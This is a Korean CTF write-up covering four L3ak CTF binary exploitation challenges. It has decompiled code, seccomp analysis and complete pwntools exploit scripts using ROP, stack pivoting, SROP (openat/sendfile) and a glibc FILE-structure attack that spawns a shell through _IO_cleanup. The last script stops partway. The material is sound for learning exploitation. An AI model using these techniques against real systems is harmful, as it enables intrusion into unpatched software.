L3ak CTF writeup

dandb3·2024년 5월 29일
0

writeup

목록 보기
4/8

1. oorrww

printf에서의 부동소수점에 대해 잘 몰라서 헤맸던 문제이다.. 문제의 기법 자체는 간단하다.

분석

root@154bb1176b23:~/pwnable/ctf/l3ak/oorrww/oorrww_dist# checksec oorrww
[*] '/root/pwnable/ctf/l3ak/oorrww/oorrww_dist/oorrww'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

모든 보호기법이 적용되어 있다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+1Ch] [rbp-A4h]
  char buf[152]; // [rsp+20h] [rbp-A0h] BYREF
  unsigned __int64 v6; // [rsp+B8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init();
  sandbox();
  gifts((__int64)buf);
  for ( i = 0; i <= 21; ++i )
  {
    puts("input:");
    _isoc99_scanf("%lf", &buf[8 * i]);
  }
  return 0;
}

main함수를 보면, sandbox()라는 함수가 있는데, seccomp가 적용되었다는 것을 유추할 수 있다.

root@154bb1176b23:~/pwnable/ctf/l3ak/oorrww/oorrww_dist# seccomp-tools dump ./oorrww
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

seccomp-tools를 사용한 결과이다.
execve와 execveat을 사용할 수 없다.

unsigned __int64 __fastcall gifts(__int64 buf)
{
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("here are gifts for you: %.16g %.16g!\n", *(double *)&buf, COERCE_DOUBLE(&__isoc99_scanf));
  return v2 - __readfsqword(0x28u);
}

gifts() 함수를 보면, 버퍼와 scanf 함수의 주소를 주고 있다. -> stack, libc leak 가능.
대신, %g의 실수 형태로 주고 있다.

파이썬의 import struct 내부의 struct.pack / struct.unpack을 사용하면 편리하게 부동소수점을 바이트로 바꿀 수 있다.

int __fastcall main(int argc, const char **argv, const char **envp)
  ...
  for ( i = 0; i <= 21; ++i )
  {
    puts("input:");
    _isoc99_scanf("%lf", &buf[8 * i]);
  }
  ...
}

main() 에서도 마찬가지로 scanf()를 통해 실수 문자열을 읽어들이고 있다.
그리고 값을 읽어들이는 부분에서 for문을 통해 버퍼에 값을 써넣는데, 전체 써넣는 크기가 0xb0로, rbp와 ret_addr를 덮게 된다.

익스플로잇

우리는 stack의 주소를 알고 있기 때문에 stack pivoting을 사용할 수 있다.
즉, 새로운 rbp가 buf - 0x8을 가리키게 하고, leave ret을 이용하면 buf의 크기만큼의 rop를 할 수 있게 된다.

특히나 libc의 주소 또한 알고 있으므로, rop의 가젯을 libc에서 갖고 와 쓸 수 있다.

하지만 canary가 있는 문제이기 때문에, canary는 덮으면 안 된다.
"."을 이용하면 scanf 함수는 아무것도 쓰지 않고 리턴하게 된다.
이런 방식으로 canary를 우회하였다.

코드

익스플로잇 코드는 다음과 같다.

from pwn import *
import struct

# r = process("./oorrww")
r = remote("193.148.168.30", 7666)

libc = ELF("./libc.so.6")

def float_str_to_int(str):
    return u64(struct.pack("<d", float(str)))

def int_to_float_str(num):
    return (str(struct.unpack("<d", p64(num))).encode("ascii"))[1:-2]

r.recvuntil(b"here are gifts for you: ")
stack = float_str_to_int(r.recvuntil(b" ")[:-1])
libc_base = float_str_to_int(r.recvuntil(b"!")[:-1]) - libc.symbols["__isoc99_scanf"]

print("stack: ", hex(stack))
print("libc_base: ", hex(libc_base))

leave_ret = libc_base + 0x4da83
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_rbx = libc_base + 0x904a9

payload = []

payload.append(pop_rdi)
payload.append(stack + 0x80)
payload.append(pop_rsi)
payload.append(0)
payload.append(libc_base + libc.symbols["open"])
payload.append(pop_rdi)
payload.append(3) # fd
payload.append(pop_rsi)
payload.append(stack + 0x1000)
payload.append(pop_rdx_rbx)
payload.append(0x100)
payload.append(0)
payload.append(libc_base + libc.symbols["read"])
payload.append(pop_rdi)
payload.append(1)
payload.append(libc_base + libc.symbols["write"])
payload.append(u64(b"./flag.t"))
payload.append(u64(b"xt\x00\x00\x00\x00\x00\x00"))
payload.append(u64(b"xt\x00\x00\x00\x00\x00\x00")) # 왜 이게 두 번 들어갔지?

for i in range(19):
    r.sendlineafter(b"input:\n", int_to_float_str(payload[i]))

r.sendlineafter(b"input:\n", b".")

r.sendlineafter(b"input:\n", int_to_float_str(stack - 0x8))
pause()
r.sendlineafter(b"input:\n", int_to_float_str(leave_ret))

r.interactive()

2. oorrww_revenge

이름도 그렇고 아까와 굉장히 유사한 문제이다.

분석

root@154bb1176b23:~/pwnable/ctf/l3ak/oorrww_revenge# checksec oorrww_revenge
[*] '/root/pwnable/ctf/l3ak/oorrww_revenge/oorrww_revenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

PIE가 적용되어 있지 않다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+1Ch] [rbp-A4h]
  char v5[152]; // [rsp+20h] [rbp-A0h] BYREF
  unsigned __int64 v6; // [rsp+B8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  sandbox(argc);
  gifts();
  for ( i = 0; i <= 29; ++i )
  {
    puts("input:");
    __isoc99_scanf("%lf", &v5[8 * i]);
  }
  return 0;
}

int gifts()
{
  return puts("oops! no more gift this time");
}

코드는 거의 유사하다.
대신 gifts() 함수에서 leak을 제공해 주지는 않는다.
또한, input의 범위가 21에서 29로 늘은 것을 확인할 수 있다.

root@154bb1176b23:~/pwnable/ctf/l3ak/oorrww_revenge# seccomp-tools dump ./oorrww_revenge
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

seccomp도 동일하게 적용되어 있다.

익스플로잇

이번에는 stack, libc에 대한 정보가 없지만, input을 받는 크기가 21에서 29로 늘어났고, PIE가 적용되지 않았다. -> 약간의 rop가 가능하다.

가젯을 찾아보면,,
pop rax ; ret이 존재하고,

gifts()를 디스어셈블 해 보면,

Dump of assembler code for function gifts:
   0x00000000004012cb <+0>:     endbr64 
   0x00000000004012cf <+4>:     push   rbp
   0x00000000004012d0 <+5>:     mov    rbp,rsp
   0x00000000004012d3 <+8>:     lea    rax,[rip+0xd2a]        # 0x402004
   0x00000000004012da <+15>:    mov    rdi,rax
   0x00000000004012dd <+18>:    call   0x4010c0 <puts@plt>
   0x00000000004012e2 <+23>:    nop
   0x00000000004012e3 <+24>:    pop    rbp
   0x00000000004012e4 <+25>:    ret    
End of assembler dump.

마지막에 rax 값을 인자로 해서 puts 함수를 호출한다는 것을 알 수 있다.

이 둘을 이용해 libc leak을 할 수 있다.
그 후 다시 main 함수로 돌아가면 libc의 가젯을 이용해서 exploit을 할 수 있다.
방법은 앞 문제와 마찬가지로 bss 영역으로 stack pivoting 하면 된다.

코드

from pwn import *
import struct

# r = process("./oorrww_revenge")
r = remote("193.148.168.30", 7667)

libc = ELF("./libc.so.6")

def float_str_to_int(str):
    return u64(struct.pack("<d", float(str)))

def int_to_float_str(num):
    return (str(struct.unpack("<d", p64(num))).encode("ascii"))[1:-2]

pop_rax = 0x401203
mov_rdi_rax_puts = 0x4012da
puts_got = 0x403fc8
main = 0x4012e5
ret = 0x40101a

payload = []

payload.append(pop_rax)
payload.append(puts_got)
payload.append(mov_rdi_rax_puts)
payload.append(0)
payload.append(ret)
payload.append(main)

for i in range(21):
    r.sendlineafter(b"input:\n", b".")

for i in range(6):
    r.sendlineafter(b"input:\n", int_to_float_str(payload[i]))

for i in range(3):
    r.sendlineafter(b"input:\n", b".")

libc_base = u64(r.recvline()[:-1].ljust(8, b"\x00")) - libc.symbols["puts"]

print("libc_base: ", hex(libc_base))

pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_rbx = libc_base + 0x00000000000904a9
leave_ret = 0x4012c9

bss = 0x404800

payload = []

payload.append(pop_rdi)
payload.append(0)
payload.append(pop_rsi)
payload.append(bss)
payload.append(pop_rdx_rbx)
payload.append(0x100)
payload.append(0)
payload.append(libc_base + libc.symbols["read"])
payload.append(leave_ret)

for i in range(20):
    r.sendlineafter(b"input:\n", b".")

r.sendlineafter(b"input:\n", int_to_float_str(bss - 8))

for i in range(9):
    r.sendlineafter(b"input:\n", int_to_float_str(payload[i]))

payload = p64(pop_rdi)
payload += p64(bss + 0x80)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(libc_base + libc.symbols["open"])
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(0x404c00)
payload += p64(pop_rdx_rbx)
payload += p64(0x100)
payload += p64(0)
payload += p64(libc_base + libc.symbols["read"])
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(libc_base + libc.symbols["write"])
payload += b"./flag.txt\x00"

r.send(payload)

r.interactive()

3. pors_dist

분석

root@154bb1176b23:~/pwnable/ctf/l3ak/pors_dist# checksec pors
[*] '/root/pwnable/ctf/l3ak/pors_dist/pors'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Partial RELRO가 적용되어 있고,
canary, PIE가 적용되어 있지 않다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+20h] [rbp-20h] BYREF

  init();
  sandbox();
  syscall(0LL, 0LL, v4, 592LL);
  return 0;
}

이 문제 또한 seccomp가 걸려있다. 확인해 보자.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x05 0x00 0x00000001  if (A == write) goto 0011
 0006: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0011
 0007: 0x15 0x03 0x00 0x00000009  if (A == mmap) goto 0011
 0008: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0011
 0009: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

write, open, mmap, evecve, execveat 시스템 콜을 사용할 수 없다.

main() 함수를 다시 보면, syscall()을 호출하는 것을 확인할 수 있다.
이를 디스어셈블 해서 다시 확인해 보자.

Dump of assembler code for function main:
   0x00000000004012f1 <+0>:     endbr64 
   0x00000000004012f5 <+4>:     push   rbp
   0x00000000004012f6 <+5>:     mov    rbp,rsp
   0x00000000004012f9 <+8>:     sub    rsp,0x40
   0x00000000004012fd <+12>:    mov    DWORD PTR [rbp-0x24],edi
   0x0000000000401300 <+15>:    mov    QWORD PTR [rbp-0x30],rsi
   0x0000000000401304 <+19>:    mov    QWORD PTR [rbp-0x38],rdx
   0x0000000000401308 <+23>:    mov    eax,0x0
   0x000000000040130d <+28>:    call   0x4011b6 <init>
   0x0000000000401312 <+33>:    mov    eax,0x0
   0x0000000000401317 <+38>:    call   0x40121b <sandbox>
   0x000000000040131c <+43>:    lea    rax,[rbp-0x20]
   0x0000000000401320 <+47>:    mov    ecx,0x250
   0x0000000000401325 <+52>:    mov    rdx,rax
   0x0000000000401328 <+55>:    mov    esi,0x0
   0x000000000040132d <+60>:    mov    edi,0x0
   0x0000000000401332 <+65>:    mov    eax,0x0
   0x0000000000401337 <+70>:    call   0x4010b0 <syscall@plt>
   0x000000000040133c <+75>:    mov    eax,0x0
   0x0000000000401341 <+80>:    leave  
   0x0000000000401342 <+81>:    ret    
End of assembler dump.

그냥 syscall 명령어인줄 알았는데 보니까 syscall() 함수가 존재한다. 함수를 확인해 보자.

Dump of assembler code for function syscall:
   0x0000724eab144870 <+0>:     endbr64 
   0x0000724eab144874 <+4>:     mov    rax,rdi
   0x0000724eab144877 <+7>:     mov    rdi,rsi
   0x0000724eab14487a <+10>:    mov    rsi,rdx
   0x0000724eab14487d <+13>:    mov    rdx,rcx
   0x0000724eab144880 <+16>:    mov    r10,r8
   0x0000724eab144883 <+19>:    mov    r8,r9
   0x0000724eab144886 <+22>:    mov    r9,QWORD PTR [rsp+0x8]
   0x0000724eab14488b <+27>:    syscall 
   0x0000724eab14488d <+29>:    cmp    rax,0xfffffffffffff001
   0x0000724eab144893 <+35>:    jae    0x724eab144896 <syscall+38>
   0x0000724eab144895 <+37>:    ret    
   0x0000724eab144896 <+38>:    mov    rcx,QWORD PTR [rip+0xfb573]        # 0x724eab23fe10
   0x0000724eab14489d <+45>:    neg    eax
   0x0000724eab14489f <+47>:    mov    DWORD PTR fs:[rcx],eax
   0x0000724eab1448a2 <+50>:    or     rax,0xffffffffffffffff
   0x0000724eab1448a6 <+54>:    ret    
End of assembler dump.

크게 이상할 것은 없다.
일반적인 함수 호출 규약을 syscall을 호출하기 위한 인자로 바꾸어 주는 과정에 해당한다.
주의할 점은 스택에 저장되어 있던 7번째 인자가 syscall의 6번째 인자로 들어간다는 점 정도?

다시 main()으로 돌아가자.

그러면 syscall(0LL, 0LL, v4, 592LL);요 부분이 read(0, v4, 592);와 동일하다는 것을 알 수 있다.

즉, 굉장히 큰 BOF가 발생한다.

익스플로잇

일단 open()을 쓸 수 없으므로, 그에 대한 대체재로 openat()을 사용할 수 있다.
또한 write()를 쓸 수 없기 때문에 sendfile()을 고려할 수 있다.

특히나 BOF가 크고, syscall을 이용할 수 있으므로, sigreturn을 사용할 수 있다.

코드

from pwn import *

# r = process("./pors")
r = remote("193.148.168.30", 7668)

pop_rdi = 0x4012ec
ret = 0x4012ed
bss = 0x404800
read_ = 0x40131c
syscall = 0x4010b0

payload = b"A" * 0x20
payload += p64(bss + 0x20)
payload += p64(read_) # bss + 0x28부터 rsp 시작 (stack pivot)

pause()
r.send(payload)

context.arch = "amd64"
openat_frame = SigreturnFrame()
openat_frame.rdi = 0x101
openat_frame.rsi = -100
openat_frame.rdx = bss
openat_frame.rcx = 0
openat_frame.rip = syscall
openat_frame.rsp = bss + 0x138

sendfile_frame = SigreturnFrame()
sendfile_frame.rdi = 0x28
sendfile_frame.rsi = 1
sendfile_frame.rdx = 3
sendfile_frame.rcx = 0
sendfile_frame.r8 = 0x100
sendfile_frame.rip = syscall
sendfile_frame.rsp = 0x404200

# bss + 0x0
payload = b"./flag.txt\x00\x00\x00\x00\x00\x00" 
payload += b"A" * 0x18
payload += p64(pop_rdi)
payload += p64(0xf)
payload += p64(syscall)
payload += bytes(openat_frame)
payload += p64(pop_rdi)
payload += p64(0xf)
payload += p64(syscall)
payload += bytes(sendfile_frame)

r.send(payload)
r.interactive()

4. chonccfile

사실 얘가 진짜 어려웠다..

분석

root@154bb1176b23:~/pwnable/ctf/l3ak/chonccfile# checksec chall
[*] '/root/pwnable/ctf/l3ak/chonccfile/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

canary만 존재하지 않는다.

앞으로의 분석은 ida를 통해 한 것으로, 함수와 변수, 구조체의 이름들은 직접 붙인 것들이다.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
  int cmd; // [rsp+18h] [rbp-8h]
  int loop; // [rsp+1Ch] [rbp-4h]

  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  v3 = time(0LL);
  srand(v3);
  loop = 1;
  while ( loop )
  {
    menu();
    fgets(buf, 10, stdin);
    cmd = atoi(buf);
    switch ( cmd )
    {
      case 1:
        create();
        break;
      case 2:
        view();
        break;
      case 3:
        edit();
        break;
      case 4:
        remove();
        break;
      case 5:
        open();
        break;
      case 6:
        close();
        break;
      case 7:
        write_();
        break;
      case 8:
        loop = 0;
        break;
      default:
        puts("what options are you making up?");
        break;
    }
  }
  return 0LL;
}

srand(time(NULL))을 통해 랜덤 값을 사용하고 있는데, 사실상 이는 의미가 없다.
서버에서 프로그램이 시작하는 시점과 동일한 시간을 seed로 해서 srand()를 호출하면 랜덤값을 얻어낼 수 있게 된다.

먼저 write_() 함수를 보자.

int write_()
{
  time_t v0; // rax
  char s[40]; // [rsp+0h] [rbp-30h] BYREF
  malloc_list *ptr; // [rsp+28h] [rbp-8h]

  v0 = time(0LL);
  printf("Writing to chonccfile at timestamp %llu...\n", v0);
  puts("Are you sure you want to save? [Y/n]");
  fgets(s, 16, stdin);
  if ( tolower(s[0]) == 'n' )
    return puts("Writing chonccfile cancelled. Feel free to make more edits");
  if ( !stream )
    puts("Chonccfile is not even opened. What are you doing, my friend?");
  for ( ptr = malloc_saved; ptr; ptr = ptr->next )
  {
    fwrite(ptr, 4uLL, 1uLL, stream);
    fwrite((const void *)ptr->malloced, ptr->size, 1uLL, stream);
  }
  return puts("Done");
}

보면 현재 시간을 출력하는 것을 알 수 있는데, 이를 통해서 서버의 시작시간을 유추할 수 있다.

다음으로 create() 함수를 보자.

int create()
{
  int result; // eax
  char buf[10]; // [rsp+Eh] [rbp-22h] BYREF
  malloc_list *list; // [rsp+18h] [rbp-18h]
  int size; // [rsp+24h] [rbp-Ch]
  malloc_list *i; // [rsp+28h] [rbp-8h]

  puts("Enter the size of the choncc:");
  fgets(buf, 10, stdin);
  size = atoi(buf);
  if ( size <= 0 )
    return puts("huh");
  // initial: 0x200
  if ( (unsigned __int64)remain_size < size )
    return puts("that's too much");
  remain_size = (int *)((char *)remain_size - size);
  list = (malloc_list *)malloc(0x18uLL);
  list->size = size;
  list->malloced = (__int64)malloc(size);
  list->next = 0LL;
  if ( malloc_saved )
  {
    for ( i = malloc_saved; i->next; i = (malloc_list *)i->next )
      ;
    i->next = (__int64)list;
    return puts("Done");
  }
  else
  {
    result = (int)list;
    malloc_saved = list;
  }
  return result;
}

0x200보다 작거나 같은 크기를 동적으로 할당받는다.
그 후 malloc_list를 하나 할당해서 그곳에 malloc으로 할당한 주소를 저장한 후 이전 malloc_saved->next 에 할당한 malloc_list를 저장한다.

즉, 일종의 LIFO 구조를 구현한 코드에 해당한다. (물론 이 부분만 본 것이 아니라 다른 부분도 봐서 알 수 있었음)
그리고 그 LIFO의 head node가 malloc_saved에 저장되게 된다.

그 다음 view() 함수이다.

int view()
{
  char buf[10]; // [rsp+6h] [rbp-1Ah] BYREF
  int i_th; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  malloc_list *v4; // [rsp+18h] [rbp-8h]

  puts("Enter the choncc number:");
  fgets(buf, 10, stdin);
  i_th = atoi(buf);
  if ( i_th <= 0 )
    return puts("huh");
  v4 = malloc_saved;
  v3 = 1;
  while ( v4 && v3 != i_th )
  {
    ++v3;
    v4 = v4->next;
  }
  if ( !v4 )
    return puts("The choncc you wish to view does not exist.");
  printf("%d: ", (unsigned int)i_th);
  // problem!!
  write(1, (const void *)v4->malloced, v4->size);
  write(1, "\n", 1uLL);
  return puts("Done");
}

입력받은 값에 해당하는 malloc_list에 있는 값을 읽어온다.
여기서 leak을 발생시킬 수 있을 것 같다.

다음으로 edit() 함수이다.

int edit()
{
  char s[10]; // [rsp+6h] [rbp-1Ah] BYREF
  int v2; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  malloc_list *v4; // [rsp+18h] [rbp-8h]

  puts("Enter the choncc number:");
  fgets(s, 10, stdin);
  v2 = atoi(s);
  if ( v2 <= 0 )
    return puts("huh");
  v4 = malloc_saved;
  v3 = 1;
  while ( v4 && v3 != v2 )
  {
    ++v3;
    v4 = v4->next;
  }
  if ( !v4 )
    return puts("The choncc you wish to edit does not exist.");
  puts("Enter the new content for the choncc:");
  // heap overflow?
  read(0, (void *)v4->malloced, v4->size);
  return puts("Done");
}

이름과 같이, malloc_list의 내부적으로 할당받은 주소에 값을 써 넣을 수 있다.
여기서 UAF가 사용될 수 있을 것 같다.

remove() 함수이다.

int remove()
{
  char s[10]; // [rsp+Eh] [rbp-22h] BYREF
  int v2; // [rsp+18h] [rbp-18h]
  int i; // [rsp+1Ch] [rbp-14h]
  malloc_list *v4; // [rsp+20h] [rbp-10h]
  malloc_list *ptr; // [rsp+28h] [rbp-8h]

  if ( !malloc_saved )
    return puts("You have no chonccs to remove");
  puts("Enter the choncc number:");
  fgets(s, 10, stdin);
  v2 = atoi(s);
  if ( v2 <= 0 )
    return puts("huh");
  ptr = 0LL;
  if ( malloc_saved && v2 == 1 )
  {
    ptr = malloc_saved;
    malloc_saved = malloc_saved->next;
  }
  else
  {
    v4 = malloc_saved;
    for ( i = 2; v4->next && i != v2; ++i )
      v4 = v4->next;
    if ( i != v2 || !v4->next )
      return puts("The choncc you wish to remove does not exist.");
    ptr = v4->next;
    v4->next = v4->next->next;
  }
  remain_size = (int *)((char *)remain_size + ptr->size);
  free((void *)ptr->malloced);
  free(ptr);
  return puts("Done");
}

입력받은 값에 해당하는 malloc_list를 free한다.
double-free나 uaf에 이용할 수 있을 것 같다.

open()

int open()
{
  puts("Opening chonccfile...");
  stream = fopen("/tmp/chonccfile", "w");
  return puts("Done");
}

그냥 파일을 open하는 함수이다.

close()

int close()
{
  int v0; // eax
  int i; // [rsp+Ch] [rbp-4h]

  puts("Closing chonccfile");
  if ( stream )
    fclose(stream);
  for ( i = 0; i <= 0x1CF; i += 4 )
  {
    v0 = rand();
    usleep(v0 % 100000);
    *(int *)((char *)&stream->_flags + i) ^= rand();
  }
  return puts("Done");
}

open되었던 file을 close하는 함수이다.
특이하게 fclose() 호출 후 file이 할당되었던 주소의 값들을 랜덤한 값으로 xor 하고 있다.

익스플로잇

heap leak

create(0x10) -> create(0x10) -> remove(1) -> remove(1) -> create(0x10) -> view(1)을 하게 되면 tcache_entry->next의 값을 읽어올 수 있게 된다.

주의해야 할 점: libc 최신 버전에는 tcache_entry->next의 값이 그대로 저장되지 않고

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

이 두 가지 매크로를 통해서 포인터에 접근하게 된다.

heap base 주소 또한 하위 12비트의 값은 항상 일정하고, create를 통해 만든 chunk의 크기가 0x20밖에 되지 않으므로 상위 52비트는 같다.

결국 PROTECT_PTR(next_chunk_addr, next_chunk_addr) 와 동일하다.

상위 12비트 값은 next_chunk_addr값 그대로에 해당하고, 그 이후부터는 앞서 얻었던 12비트 값들을 순서대로 xor 연산해서 얻기만 하면 된다.

libc leak

stdin, stdout, stderr를 제외한 새로 할당받은 struct _IO_FILE들은 malloc을 통해 heap 영역에 생성된다는 점이다.

그러므로 main 함수에서 open() -> close() -> create() -> view()의 순서대로 동작하게 만든다면 struct _IO_FILE에 남아있던 값들을 leak 할 수 있게 된다.
특히 struct _IO_FILE의 경우 앞서 만들어진 객체를 가리키는 _chain 포인터가 존재하는데, 새로 만든 struct _IO_FILE의 경우 _IO_2_1_stderr_를 가리키게 된다.

하지만 앞서 close() 에서 랜덤한 값들로 xor 연산을 해 놓았는데, 이는 앞서 설명했듯이 시드값만 찾아내면 사실상 랜덤값이 아니므로 해결할 수 있다.

-> libc leak 가능.

RCE

이제 libc 주소를 알았으니, 이를 활용할 수 있다.
open() -> close() -> create() -> edit() -> write_()의 과정을 거치게 되면
file 구조체에 내가 원하는 값들을 써 넣을 수 있게 되고, _IO_wfile_overflow를 이용한 공격이 가능하다.

그 공격이 궁금하다면 아래 링크 참조.
https://velog.io/@dandb3/FSOP

공격코드에 one_gadget을 쓰면 될 것이다...?
--> 해 봤는데 one_gadget은 안 된다...

다른 접근

_IO_cleanup()이라는 함수를 이용한다.
함수가 종료되면 exit()이 호출되고, 그 과정에서 _IO_cleanup() 함수가 호출된다. 이 함수는 버퍼에 남은 데이터를 flush 해 주고 buffer를 free해주는 등의 정리작업을 수행한다.

_IO_cleanup() 코드를 보자.

int
_IO_cleanup (void)
{
  int result = _IO_flush_all ();
  _IO_unbuffer_all ();

  return result;
}

int
_IO_flush_all (void)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
      ...
}
libc_hidden_def (_IO_flush_all)

내부적으로 _IO_flush_all()을 호출한다.
_IO_list_all 변수는 제일 최근에 생성된 FILE 구조체를 가리키며, 각각의 구조체들은 _chain 멤버변수를 통해 LIFO 구조를 형성한다.
이렇게 만들어진 LIFO 구조를 통해 하나씩 flush 작업이 이루어진다.

lock변수와 fp->_mode <= 0, fp->_IO_write_ptr > fp->_IO_write_base 이 세 조건만 만족시키면 _IO_OVERFLOW를 호출하게 되고, 이것을 통해 _IO_wfile_overflow 공격이 가능해진다.

대신 하나의 조건이 필요한데, 바로 _IO_list_all 이 가리키는 chain에 대상 FILE 구조체가 들어있어야 한다는 것이다.

이 말인 즉슨, 그냥 fclose()가 되어있는 상태에서 _IO_cleanup()이 호출되더라도 소용이 없다는 뜻이다.

그러므로 이 문제에서는 fclose()를 두 번 호출해서 double-free가 이루어지도록 하여 fopen()이 가능하게 해야 한다.
즉, 중간에 close() -> create() -> edit() -> close() -> open() -> edit() 의 과정이 있어야 한다.

_IO_cleanup()을 이용한 공격의 장점

대다수의 file 구조체 관련 함수들은 file 포인터인 fp값을 첫 번째 인자로 받는다.
이는 _IO_WDOALLOCATE를 호출할 때에도 마찬가지이다.
그러므로, fp가 가리키는 값 (fp->_flags) 을 "/bin/sh"로 바꾸고, system() 함수가 실행되도록 한다면 쉘을 얻을 수 있다.
하지만 fprintf나 다른 file 구조체 관련 함수들은

# define CHECK_FILE(FILE, RET) do {				\
    if ((FILE) == NULL						\
	|| ((FILE)->_flags & _IO_MAGIC_MASK) != _IO_MAGIC)	\
      {								\
	__set_errno (EINVAL);					\
	return RET;						\
      }								\
  } while (0)

위와 같은 CHECK_FILE 매크로를 통해 flag비트가 0xfbad로 고정되어 있는지 먼저 확인을 하는 과정을 거친다.
즉, "/bin/sh"로 바꾸면 원하는 대로 실행이 되지 않는다.
하지만 _IO_cleanup()의 경우, 따로 체크하지 않고 바로 _IO_OVERFLOW()를 호출하므로 system("/bin/sh"); 의 실행이 가능해진다.

여기서 주의할 점이 하나 또 있는데,
system("/bin/sh"); 이렇게 써 버리면 _IO_wfile_overflow를 비롯한 여러 함수들의 호출에서 flag 값 검증에 실패하게 된다. 그러므로 쓸 수 있는 방법은 다음과 같다.
system("\x01\x01\x01\x01;sh;");

코드

위의 방법을 적용한 익스플로잇 코드는 다음과 같다.

from pwn import *

# libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")

def select(cmd):
    r.sendlineafter(b"> ", cmd)

def create(size):
    select(b"1")
    r.sendlineafter(b"Enter the size of the choncc:\n", str(size).encode("ascii"))

def view(idx):
    select(b"2")
    r.sendlineafter(b"Enter the choncc number:\n", str(idx).encode("ascii"))
    r.recvuntil(b": ")

def edit(idx, data):
    select(b"3")
    r.sendlineafter(b"Enter the choncc number:\n", str(idx).encode("ascii"))
    r.sendafter(b"Enter the new content for the choncc:\n", data)

def remove(idx):
    select(b"4")
    r.sendlineafter(b"Enter the choncc number:\n", str(idx).encode("ascii"))

def fopen():
    select(b"5")

def fclose():
    select(b"6")

def fwrite():
    select(b"7")
    r.sendlineafter(b"[Y/n]\n", b"Y")

def exit():
    select(b"8")

def reveal_ptr(ptr):
    result = 0
    result |= ptr & 0xfff000000000
    result |= (ptr ^ (result >> 12)) & 0x000fff000000
    result |= (ptr ^ (result >> 12)) & 0x000000fff000
    result |= (ptr ^ (result >> 12)) & 0x000000000fff
    return result

# r = process("./chall")
r = remote("193.148.168.30", 7669)

select(b"7")
r.recvuntil(b"timestamp ")
seed = int(r.recvuntil(b".")[:-1])
r.sendlineafter(b"[Y/n]\n", b"n")
print("seed: ", seed)

create(0x10)
create(0x10)
remove(1)
remove(1)
create(0x10)
view(1)
